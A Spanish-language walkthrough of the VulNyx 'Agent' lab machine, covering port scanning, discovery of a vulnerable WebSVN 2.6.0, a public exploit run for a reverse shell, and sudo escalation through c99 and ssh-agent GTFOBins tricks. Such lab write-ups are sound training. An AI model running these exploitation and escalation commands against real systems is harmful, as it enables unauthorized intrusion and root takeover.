> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/agent.md).

# Agent

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.100
```

para verificar la conectividad de red.

<figure><img src="/files/nkCSwlQkIgbAZACZ2IsY" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.100 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/nvoMnY6bD3YCOK7u5CXa" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.100
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/IS9HUSqG9eRyViz1mrhy" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80. Corre un servidor Nginx.

<figure><img src="/files/WBeLjLMvKnarqW33kJTv" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```
dirb http://192.168.1.100/
```

<figure><img src="/files/NBhLMBIiv6PBs8uaeSvJ" alt=""><figcaption></figcaption></figure>

Encontramos un directorio llamado **/websvn**.

<figure><img src="/files/EZHkrRIrpXyxf8j0WC7p" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comprobamos que la versión sea vulnerable.

```bash
searchsploit websvn 2.6.0
```

<figure><img src="/files/veCNlqfHYO0QEY5Sesrp" alt=""><figcaption></figcaption></figure>

Nos lo descargamos y cambiamos la IP para una Reverse Shell.

<figure><img src="/files/gHoPlL90bXwpbHChWUCR" alt=""><figcaption></figcaption></figure>

Ejecutamos mientras estamos en escucha.

```bash
python3 50042.py "http://192.168.1.100/websvn"
```

<figure><img src="/files/Tar7YdWoNcjkt81qOKV4" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/JpxbzYGEbWqp0Hbyl2Ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/c99/#sudo>" %}

```bash
sudo -u dustin /usr/bin/c99 -wrapper /bin/sh,-s .
```

<figure><img src="/files/Xc2VLp3DCVAH4oLMi6r8" alt=""><figcaption></figcaption></figure>

Realizando el mismo proceso encontramos que **dustin** tiene permisos SUDO en el binario **ssh-agent**.

<figure><img src="/files/VTyibgSiyoOxRDOBsQQp" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/ssh-agent/#sudo>" %}

```bash
sudo -u root /usr/bin/ssh-agent /bin/bash
```

<figure><img src="/files/hqs8u7878Se6SfnoV1Ne" alt=""><figcaption></figcaption></figure>
